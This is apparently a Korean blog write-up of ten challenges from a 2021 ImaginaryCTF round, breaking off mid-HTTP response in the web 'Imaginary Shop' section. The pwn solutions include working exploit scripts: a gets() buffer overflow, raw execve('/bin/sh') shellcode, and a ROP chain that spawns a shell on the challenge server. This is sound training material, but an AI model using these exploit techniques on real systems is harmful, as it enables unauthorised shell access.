5un9hun
5un9hun Have A Nice Day!

2021 Imaginary CTF - May (round 10) Write-Up

2021 Imaginary CTF - May (round 10) Write-Up

[day 1] &aaa (30pts) - pwn

Problem

image

바이너리 파일이 주어진다.

Source

다음은 문제 파일을 hex-ray로 본 결과 이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  __int64 v5; // [rsp-28h] [rbp-28h]
  int v6; // [rsp-Ch] [rbp-Ch]
  __int64 v7; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v7 = v3;
  v6 = 0;
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  puts("Enter username and password, separated by spaces:");
  gets(&v5);
  if ( v6 )
    system("cat flag.txt");
  return 0;
}

gets를 통해 버퍼에 입력을 받는데, 이 때, 입력값에 대한 길이 제한 검사 로직이 없어서 BOF가 터진다.

이 문제에서는 변수 v6에 true값만 들어가면 flag파일을 출력시켜준다. 따라서 BOF를 통해 v5변수를 넘어서 v6에 참값만 들어가면 플래그를 딸 수 있다.

v5변수는 rbp로부터 0x28만큼 떨어져있고, v6변수는 rbp로부터 0xc만큼 떨어져 있다. 따라서 v5의 크기인 0x28 - 0xc 만큼 더미값으로 채워주고, 그 다음에 0을 제외한 값을 넣어주면 v6변수는 참이 된다.

Script

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

r = remote('oreos.ctfchallenge.ga', 7331)

payload = b''
payload += b'A'*(0x28 - 0xc)
payload += b'1'

r.sendline(payload)

r.interactive()

Result

image

FLAG

1
FLAG : ictf{buff3r_0verfl0w_1s_d4ng3r0us}

[day 2] Waiting game… (30pts) - web

Problem

image

image

문제 링크에 접속하면 위와 같이 나온다. 아주 많이 기다리면 플래그가 나오는 것 같다.

개발자 도구를 통해 소스코드를 확인해 보았다.

1
2
3
4
5
6
7
8
9
10
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width">
    <meta http-equiv="refresh" content="100000000000000; url = /0x666c6167.html"> 
  </head> 
  <body>
    <h3>Welcome! You'll get the flag eventually! You might just have to wait a some time (or a long time)!</h3>
  </body>
</html>

head 태그 부분에 meta 태그를 살펴보면 수상한 부분을 볼 수 있다.

1
<meta http-equiv="refresh" content="100000000000000; url = /0x666c6167.html">

meta 태그의 속성으로는 보통 http-equiv, name, content 로 세 가지가 있는데 http-equiv는 명령을 내리는 속성이고, name은 meta 정보의 이름을 정하는 속성이고, 지정하지 않으면, http-equiv의 기능을 수행한다. content는 meta 정보의 내용이 들어가는 곳이다.

http-equiv에 refresh를 넣어주면 content안의 숫자(초 단위)만큼 기다렸다가, 새로 고침이 되는데 이 때, url 속성의 페이지로 리다이렉트 된다. 따라서 /0x666c6167.html 페이지로 이동하거나 content를 0으로 바꿔준 뒤에 새로 고침을 하면 flag를 얻을 수 있다.

Result

image

FLAG

1
FLAG : ictf{a_r3a11y_n1ce_wa1t1ng_gam3}

[day 3] Countdown Baseball (75pts) - crypto

Problem

image

Solve

문제 파일인 countdown_baseballl.txt 파일의 용량을 살펴보았는데 심상치 않았다… txt파일로 3mb.. image

한 번 열어보니 다음과 같이 0과 1로 이루어진 2진 데이터들이 존재했다. image

파이썬 스크립트를 이용해서 8글자씩 2진수로 읽어들여서 아스키코드로 바꾸었더니 0012100012200012100012100012100012200012 … 로 숫자가 출력되었다. (00110000 == 0, 00110001 == 1)

문제 나올 당시에는 머리가 아파져서 바로 끄고 잤는데 다음 날 일어나니까 문득 3진수가 아닐까 생각이 들었다. 그래서 이를 8글자씩 3진수로 읽어들여서 아스키코드로 바꾸었더니 0300030103100303030003010310031003000302 … 로 숫자가 출력되었다.

결과값은 4진수이며, 이 패턴으로 보아 진수가 올라가는 것을 확인했고, 이를 10진수까지 해주면 flag가 뜨는 것을 확인했다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
f = open('./countdown-baseball.txt', 'r').read()

# base 2
FLAG = ''
file = map(''.join, zip(*[iter(f)]*8))
for i in file:
    FLAG += chr(int(i,2))
print("[-]convert base 2["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 3 
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*6))
for i in file:
    FLAG += chr(int(i,3))
print("[-]convert base 3["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 4 
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*4))
for i in file:
    FLAG += chr(int(i,4))
print("[-]convert base 4["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 5
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*4))
for i in file:
    FLAG += chr(int(i,5))
print("[-]convert base 5["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 6
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*4))
for i in file:
    FLAG += chr(int(i,6))
print("[-]convert base 6["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 7
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*3))
for i in file:
    FLAG += chr(int(i,7))
print("[-]convert base 7["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 8
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*3))
for i in file:
    FLAG += chr(int(i,8))
print("[-]convert base 8["+str(len(FLAG))+"bytes] : "+FLAG[0:40]+"...")

#base 9
f = FLAG
FLAG = ''
file = map(''.join, zip(*[iter(f)]*3))
for i in file:
    FLAG += chr(int(i,9))
print("[-]convert base 9["+str(len(FLAG))+"bytes] : "+FLAG[0:40])

#base 10
f = FLAG
FLAG = ''
i = 0
while(len(f) != i):
    if(f[i] == '1'):
        FLAG += chr(int(f[i:i+3],10))
        i += 3
    else:
        FLAG += chr(int(f[i:i+2],10))
        i += 2
print("[*]FLAG : "+FLAG)

Result

image

FLAG

1
FLAG : ictf{b@s3s_g@10r3}

[day 4] neat-rsa (65pts) - crypto

Problem

image

Solve

문제 파일인 main.py와 rsa.txt를 보면 다음과 같다.

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

from Crypto.Util.number import getPrime, bytes_to_long
from os import urandom

with open('flag.txt', 'r') as f:
  flag = f.read()

p, q, r = [getPrime(512) for _ in range(3)]
n1, n2 = p * q, q * r

e = 65537

elusive = bytes_to_long(urandom(4)) #10digits

pt = bytes_to_long(flag.encode())
ct = pow(pt, e, n1)

with open('rsa.txt', 'w') as g:
  g.write(f'n1 = {n1}\n')
  g.write(f'n2 + n1 * elusive = {n2 + n1 * elusive}\n')
  g.write(f'ct = {ct}\n')

rsa.txt

1
2
3
n1 = 129851722357947445345870990963660632711447373178135819868899984182659557798630904818907679897656671090445195493024305192175998357725180728308641342052877827178063748226956003293995628809809946890377677500727765422671309139577956460806060356061643066260620532143971581138444887013251083401740953016800526561369
n2 + n1 * elusive = 354020441161271454238824233113483251424739165273603253089281992413904299790750998993004221545361940017125675049620866260946107295019570616958455252820784279420662013197185267268535478305987123286908618637917837561207744990593948143827775524857529903243255631176220324605682439947302448209103973570727852816857845902079
ct = 99860436465836391865653329628063911057946675204553849493647896562280037248239340521968032740474787220879813274343214941793443913638426853461368251451691055571860562982592326807064465612371566427699272833229440737810391158841432366489390151103656479013891591734401496841642436054950303923680083243969093719406

n2 + n1 * elusive에서 elusive값을 알아내야 n1값의 factor를 알아낼 수 있을 거 같은데… 나중에 factordb.com 에서 p q값이 나왔다. image

그래서 그냥 일반적인 rsa 풀듯이 p, q로 phi를 구하고, phi로 d를 구해서 pow(c,d,n)하면 PlainText가 나온다. 개인적으로 이번 문제는 잘못낸거 같다. 이 점을 인지했는지 나중에 neatX2-rsa 문제를 출제했는데 이 문제와 다르게 factor만 구해서 풀 수 없게 해놓았다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import long_to_bytes, inverse

n1 = 129851722357947445345870990963660632711447373178135819868899984182659557798630904818907679897656671090445195493024305192175998357725180728308641342052877827178063748226956003293995628809809946890377677500727765422671309139577956460806060356061643066260620532143971581138444887013251083401740953016800526561369
C = 99860436465836391865653329628063911057946675204553849493647896562280037248239340521968032740474787220879813274343214941793443913638426853461368251451691055571860562982592326807064465612371566427699272833229440737810391158841432366489390151103656479013891591734401496841642436054950303923680083243969093719406
e = 65537

p = 12438768219648209272806974363248616862848967207520484103994454663600708683715601024783520966468007097611150261232901857616087265401444967253748917933659569
q = 10439275020241504708784559804969402414503238092580140342207660940234149232075035457071525950919585705394319304872336149289757540283899283678087599838652201

phi = (p-1) * (q-1)

d = inverse(e, phi)

M = pow(C,d, n1)

print(long_to_bytes(M))

Result

image

FLAG

1
FLAG : ictf{why_c@nt_1_ev3r_c0m3_up_with_c0ol3r_flag5_:rooNobooli:}

[day 5] Horst (75pts) - reversing, crypto

Problem

image

Solve

문제 파일인 horst.py와 output.txt는 다음과 같다.

horst.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import hashlib

ROUNDS = 25
BLOCKSIZE = 32

def xor(a, b):
    assert len(a) == len(b)
    return bytes(x ^ y for x, y in zip(a, b))

def F(x):
    return hashlib.sha256(x).digest()

def round(x):
    assert len(x) == 2 * BLOCKSIZE
    L = x[:BLOCKSIZE]
    R = x[BLOCKSIZE:]
    return R + xor(L, F(R))

def encrypt(x):
    for _ in range(ROUNDS):
        x = round(x)
    return x

if __name__ == "__main__":
    flag = open("flag.txt", "rb").read().strip()
    open("output.txt", "w").write(encrypt(flag).hex())

output.txt

1
b020563166cfacda8201e8817265baf945b2dc49517f73903241f9fbedd3943d79d17b6ecd6acb45810eb95b1687ead8851fc923fdb40d5e208f3d4a34840bd1

페이스텔 구조를 이용해서 블럭 암호로 flag를 암호화한 것 같다. 라운드를 25로 설정해놓았고, round 함수를 분석하면 역으로 연산이 가능할 것 같다. R + xor(L, F(R)) 여기서 페이스텔 구조가 사용되었는데 이전 round의 결과물에서 가운데를 기준으로 오른쪽 블럭 R은 다음 라운드의 왼쪽블럭이 되고, 왼쪽 블럭인 L과 오른쪽 블럭의 sha256값을 xor한 값이 다음의 오른쪽 블럭이 된다.

이 점만 생각해도 역으로 연산이 가능하다. 먼저 output에 나온 값의 왼쪽 32바이트는 이전 라운드의 오른쪽 32바이트가 되고, 왼쪽 32바이트의 sha256과 오른쪽 32바이트의 xor한 값이 이전 라운드의 왼쪽 32바이트가 된다.

이를 문제의 round 만큼 돌려주면 flag가 출력된다.

솔직히 이 문제는 조금만 생각해도 풀 수 있는 문제이다. 그런데 나는 이상한 곳에서 삽질했다. 파이썬 인덱스 슬라이싱에서 [:32] 를 오른쪽으로보고, [32:] 를 왼쪽 슬라이싱하는 거라고 착각해서 계속해서 flag가 안나왔다.. 정신 차려야지..

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
from binascii import unhexlify

ROUNDS = 25
BLOCKSIZE = 32

enc_flag = unhexlify(open('output.txt','rb').read().strip())

def xor(a, b):
    assert len(a) == len(b)
    return bytes(x ^ y for x, y in zip(a, b))

def F(x):
    return hashlib.sha256(x).digest()

def round(x):
    pre_L = xor(x[BLOCKSIZE:], F(x[:BLOCKSIZE]))
    pre_R = x[:BLOCKSIZE]
    return pre_L + pre_R

def decrypt(x):
    for _ in range(ROUNDS):
        x = round(x)
    return x

flag = decrypt(enc_flag)
print("FLAG : " + flag.decode())

Result

image

FLAG

1
FLAG : ictf{imagine_not_using_a_key_for_your_feistel_cipher_67e63cc381}

[day 6] Green shell (50pts) - pwn

Problem

image

Solve

소스코드와 바이너리 파일을 주었다.

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/mman.h>

int main() {
    char* shellcode = mmap((void*)0x42420000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    puts("Let's race");
    fgets(shellcode, 0x100, stdin);
    mprotect(shellcode, sizeof(shellcode), PROT_READ | PROT_EXEC);
    ((void (*)())shellcode)();
}

mmap 이나 mprotect나 엄청 거창한것처럼 보이지만 진짜 쉬운 문제이다. mmap함수로 shellcode 변수의 주소에 0x42420000부터 0x1000만큼의 주소를 대응시켜주고, mprotect 함수로 shellcode 변수의 주소에 읽기권한과 실행권한을 부여했다.

그래서 그냥 fgets 함수를 통해 shellcode에 64비트 쉘코드를 저장해주면, shellcode()를 호출할 때, 쉘코드가 실행된다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r = remote('oreos.imaginary.ml', 12345)

shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

payload = b''
payload += shellcode

r.recvuntil('race')

r.sendline(payload)

r.interactive()

Result

image

FLAG

1
FLAG : ictf{it's-a_me_sh3llc0d10}

[day 7] Introductory ICICLE (100pts) - programming/reversing

Problem

image

imaginaryCTF 만의 어셈블리를 설명한 md파일과 output인 어셈블리파일이 존재한다.

Solve

어셈블리 파일을 열어보면 다음과 같이 존재한다.

mov r1, 208711228920503662662639293024172016224701481804426304526365809516810887455991148719975
intstr r1, r1         # str(r1)
mov r2, 7696217          
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "dluohs"      # r2 = dluohs
rev r2, r2          # r2 = should
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "really"      # r2 = really
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 435744764535      
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 6645876       
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2) 
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 138296649583178892197523049
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2) 
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 28254586044378729
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "fo"        # r2 = fo
rev r2, r2          # r2 = of
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "gniod"       # r2 = gniod
rev r2, r2          # r2 = doing
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 1936287860
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 157746064591442268284274
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 1936287828
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "is"        # r2 = is
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 7628901
intstr r2, r2       # str(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "first"       # r2 = first
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 28265   
intstr r2, r2       # str(r2)
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, "a"         # r2 = a
rev r2, r2          # rev(r2)
xor r1, r1, r2        # r1 = r1 xor r2
mov r2, 32481164390658862
intstr r2, r2       # str(r2)
xor r1, r1, r2        # r1 = r1 xor r2
pr r1           # prints(r1)
mov r2, 100         # r2 = 100
mod r2, r2, 7       # r2 = r2 % 7
mult r3, r2, 5        # r3 = r2 * 5
intstr r3, r3       # str(r3)
pr r3           # prints(r3)

주석은 내가 따로 달았다.

md파일 같은 경우 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
Language Spec v1 for ICICLE (Imaginary Ctf Instruction Collection for Learning assEmbly)
Writing Code in ICICLE
Each line contains an instruction, or comment. Instructions should be formatted like the following:

add r1, r2, 5

That is, there should be a single space after the command name, and then arguments should be separated by a comma and a space. Arguments can be a int, string, or register.

Comments are any line that begin with a #, and these are skipped. Additionally, you can place a comment after an instruction, to similarly no effect.

Registers
There are 16 registers, named r0 through r15. These can take int or string values.

Instructions
A complete list of instructions can be found below:

Arithmetic:
add
sub
mult
div
mod
xor
and
or
rev
mov

Type Conversion:
strint
intstr

I/O:
pr
readstr
readint
Arithmetic Instructions
All instructions in this section take 2 or 3 arguments, denoted here as a0, a1, a2. For all instructions, an operation is performed on a1 and a2, and the result stored in a0.

add
If both a1 and a2 are ints, adds them and stores the result in a0. Otherwise, converts both to strings and adds (e.g. add r1, "test", 0 will store “test0” in r1).

sub
Calculates a1-a2 and stores the result in a0. Only valid for ints.

mult
Only valid if at least one of a1, a2 is an int. If both are ints, stores a1*a2 in a0. If a1 is a string, repeats a1 a2 times, and stores the result in a0, and same goes for if a2 is a string (e.g. mult r1, 'a', 5 and mult r1, 5, 'a' both store “aaaaa” in r1).

div
Calculates a1//a2 (where // denotes integer division) and stores the result in a0. Only valid for ints.

mod
Calculates a1%a2 (where % denotes modulo) and stores the result in a0. Only valid for ints.

xor
If both a1 and a2 are ints, calculates the bitwise xor and stores the result in a0. If at least one is a string, convert any ints to strings as by intstr, then compute the xor of the two strings as follows:

The result will be the length of the longer string
For each character in the longer string, bitwise xor the character code with the character at the same index (mod the shorter string length) in the shorter string
and
Calculates the bitwise and of a1 and a2, and stores the result in a0. Only valid for ints.

orr
Calculates the bitwise or of a1 and a2, and stores the result in a0. Only valid for ints.

rev
Only takes 2 args. If a1 is a string, reverses it and stores the result in a0 (“abc” -> “cba”). If a1 is an int, converts it to a string, reverses it, converts back to an int, and stores the result in a0 (123 -> 321).

mov
Only takes 2 args. Moves a1 to a0.

Type Conversion Instructions
Both of these take two args - converting a1 and storing the result in a0.

strint
Converts a string in a1 into an int, and stores it in a0. It does so by converting each character in the string to hexadecimal, concatenating all of the characters into a large hexadecimal number, and converting that to base 10.

intstr
Converts an int in a1 into a string, and stores it in a0. This is the opposite process of strint - the number is converted into hex, then every 2 hex digits are converted into a character.

I/O Instructions
These each take one argument.

pr
Prints a0. If a0 is a string, prints the string. If a0 is an int, prints the int.

readstr
Reads a string from stdin to a0.

readint
Reads an int from stdin to a0.

이 문제는 영어만 잘하면 풀 수 있다. 내가 영어를 잘 못해서 xor 루틴에서 조금 헤맸다.

xor설명을 보면 기존의 xor a1, a2는 똑같이 a1 = a1 xor a2 이지만, 만약 a1이나 a2 둘 중에 하나라도 문자열이 있다면 모두 문자열로 바꿔서 더 긴 문장이 a1이 되고, 더 짧은 문장이 a2가 되어서 a2의 길이만큼 a2의 인덱스와 a1의 인덱스의 문자끼리 xor연산을 진행하는 것이다.
이 때, a2는 길이가 초과될 때, mod 연산을 진행하여 a1의 끝까지 xor진행해준다.

예를 들어서 applebanana라는 문자열과 pie라는 문자열이 있을 때, applebanana가 a1이 되고, pie가 a2가 되어서 applebanana[0] = a 이고, pie[0] = p 이므로, applebanana[0] = ord(‘a’) ^ ord(‘p’) 가 된다.
그리고 applebanana[3] = l 이고, pie[3] 은 out of index인데 이 때, 문자열의 길이만큼 mod를 해서 3 % 3 = 0 이 되고, pie[3 % 3] == pie[0] 와 같게 된다.

이를 대충 스크립트로 짜보면 다음과 같다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from binascii import unhexlify

r1 = unhexlify(b'6b6f70484c621b287b1e497863797d5172487e003e6f424e622b7d5b512e7b62101e2f67')
r1 = list(r1)

r2 = "You"
for i in range(len(r1)):
    r1[i] = chr(r1[i] ^ ord(r2[i % len(r2)]))

r2 = "should"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "really"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "write"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "the"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "interpreter"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "instead"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "of"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "doing"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "this"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "reversing!"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "This"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "is"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "the"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "first"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "in"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "a"
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = "series."
for i in range(len(r1)):
    r1[i] = chr(ord(r1[i]) ^ ord(r2[i % len(r2)]))

r2 = 100
r2 = r2 % 7
r3 = r2 * 5
r3 = chr(r3)

print("FLAG : "+"".join(r1)) #flag
print(r3) #\n

Result

image

FLAG

1
FLAG : ictf{th3_w@rm3st_ICICLE_y0u've_s33n}

[day 8] wordbook (50pts) - misc

Problem

image

Solve

먼저 nc 서버에 접속하면 다음과 같이 flag를 암호화해서 보여준다. 그리고 다음 입력부터 문자열을 입력하면 그 문자열을 암호화한 문자열을 보여준다.

따라서 flag를 받아오고, 서버에 문자 하나하나씩 어떻게 암호화됐는지 확인하고 그에 맞는 문자열로 치환시켜서 flag를 복호화하면 된다. 여기서 주의할 점은 암호화된 문자열이 아스키코드 외의 범위고, 따라서 0x00~0xff 범위를 벗어나므로, \xaa\x11 처럼 두 바이트로 받아와야한다.

다른 방법도 있겠지만, 나는 두 바이트씩 받아와서 이를 정수로 바꾼 후, 문자열로 리스트에 저장하고, 문자의 암호화를 확인한 뒤, 인덱스에 맞게 for문을 돌렸다.

설명을 잘 못하겠다. 좀 짜증나는 문제였다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from string import printable

r = remote('oreos.imaginary.ml', 10069)

r.recvuntil(b'flag:')
a = r.recvuntil('W')[2:-3]

print("ENC_FLAG = "+str(a))

enc = []

for i in printable:
    r.recvuntil('encrypt? ')
    r.sendline(i)
    r.recvuntil('go!\n')
    tmp = int(u32(r.recv(2)+b'\x00\x00'))
    enc.append(str(tmp))
  
#print(enc)

result = ''
  
for i in range(2, len(a)+1, 2):
    tmp = a[i-2:i]
    for j in range(len(enc)):
        if(str(u32(tmp+b'\x00\x00')) in enc[j]):
            #print(str(u32(tmp+b'\x00\x00')))
            result += printable[j]
            break
print("\nFLAG : "+result)

Result

image

FLAG

1
FLAG : ictf{d1ct10n@ri3s_m@k3_y0u_sm@r73r}

[day 9] &bbb (85pts) - pwn

Problem

image

바이너리 파일과 서버는 day1 문제인 &aaa와 같다. 이 서버에서 존재하는 flag.txt 외에 another_flag.txt 를 획득하면 된다.

Solve

바이너리를 확인해보면 &aaa 문제와 동일하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  __int64 v5; // [rsp-28h] [rbp-28h]
  int v6; // [rsp-Ch] [rbp-Ch]
  __int64 v7; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v7 = v3;
  v6 = 0;
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  puts("Enter username and password, separated by spaces:");
  gets((u32 *)&v5);
  if ( v6 )
    system((__int64)"cat flag.txt");
  return 0;
}

v6는 cat flag.txt 이므로 무시해도되고, 이 문제같은 경우 쉘을 따야한다. 정적 컴파일되어서 모든 주소가 바이너리 내에 담겨있다.

따라서 system 주소와 read 주소를 얻을 수 있다. 그리고 가젯같은 경우도 충분히 많아서 pop rdi, pop rsi, pop rdx를 찾을 수 있다. 이를 통해 ROP를 진행할 수 있다.

read함수로 bss영역에 “/bin/sh”를 넣어주고, 이를 system 함수로 호출시켜주면 쉘을 얻을 수 있다.

v6같은 경우 아무렇게해도 상관없는데 나는 보기 싫어서 0으로 넣고, if문에 들어가지 않게 해주었다.

아래는 ROP를 진행한 페이로드이다.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

r = remote('oreos.ctfchallenge.ga', 7331)

pop_rdi = 0x40191a
pop_rsi = 0x40f49e
pop_rdx = 0x40181f

system_addr = 0x411090
read_addr = 0x449b50

binsh = "/bin/sh\x00"

bss = 0x4c4260

r.recvuntil('spaces:')

payload = b''
payload += b'A'*(0x28 - 0xc)
payload += p32(0)
payload += b'B'*8
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(len(binsh))
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_addr)

r.sendline(payload)
r.sendline(binsh)

r.interactive()

Result

image

FLAG

1
FLAG : ictf{r0p_t0_th3_r3scu3!}

[day 10] Imaginary Shop (82pts) - web

Problem

image

소스 코드를 다 안보고, flag를 어떻게 출력시키는지 몰라서 삽질좀 했다;^^

Solve

문제에서 주어진 web서버로 접속하면 다음과 같이 파이썬 flask 소스코드를 준다. image

코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask, render_template, request, make_response
import os

flag = open("flag.txt", "r").read()
app = Flask('app')

items = {"bagel": 50, "toasted_bagel": 70, "bread": 30, "toast": 50, "wheat": 20, "water": 10}

@app.route('/')
def index():
  resp = make_response(render_template('index.html'))
  resp.set_cookie('item', 'gone', max_age=0)
  resp.set_cookie('money', 'gone', max_age=0)
  return resp

@app.route('/shop')
def shop():
  buy = request.args.get("buy")
  money = request.args.get("money")
  if(buy == None and money == None):
    return render_template("shop.html")
  else:
    try:
      item_price = items[buy]
      try:
        if(item_price > int(money)):
          resp = make_response("You don't have enough money to buy this item!")
          if(buy):
            resp.set_cookie('item', buy, max_age = 10)
          if(money):
            resp.set_cookie('money', money, max_age= 10)
          return resp
        else:
          resp = make_response(f"Congratulations! You are now the owner of {buy}. You have {int(money) - item_price} fake coins left, which means absolutely nothing!")
          if(buy):
            resp.set_cookie('item', buy)
          if(money):
            resp.set_cookie('money', money)
          return resp
      except ValueError:
        return "Please enter a valid money amount!"
    except KeyError:
      return "Not a valid item! Please enter a valid item."

@app.errorhandler(404)
def not_found(e):
  return render_template('404.html', message="Page not found"), 404

@app.errorhandler(500)
def error(e):
  if(request.cookies.get('item') == request.cookies.get('money') and request.cookies.get('add') == "1"):
    return render_template('500.html', message="Internal Server Error", flag=flag), 500
  else:
    return render_template('500.html', message="Internal Server Error.", flag=os.getenv("FLAG")), 500
  
app.run(host='0.0.0.0', port=8080)                 

나는 코드 밑에 errorhandler는 못보고 위에서 어떻게 flag를 출력시킬까 삽질했는데 internal server error 500을 띄우면 flag를 준다. 근데 이 때, 쿠키가 item == money, add = “1” 이어야 flag.txt의 flag를 출력시켜주고, 아니면 환경변수의 FLAG값을 출력시켜준다.

일단 /shop 에 들어가서보면 다음과 같다.

image

그리고 설명을 보면 파라미터로 item과 money를 줄 수 있는데 목록은 위와 같다. 여기서 어떻게 500 error를 발생시킬 수 있을까..

고민하다가 파라미터를 item만 줬더니 500 error가 발생하면서 어떤 youtube 동영상으로 리다이렉트되더니 다음과 같았다 ㅋㅋ image

그래서 한 번 리다이렉트가 되기 전에 프록시툴로 잡아서 확인해봤다.

그랬더니 다음과 같은 데이터를 얻을 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HTTP/1.1 500 Internal Server Error
Content-Length: 928
Content-Type: text/html; charset=utf-8
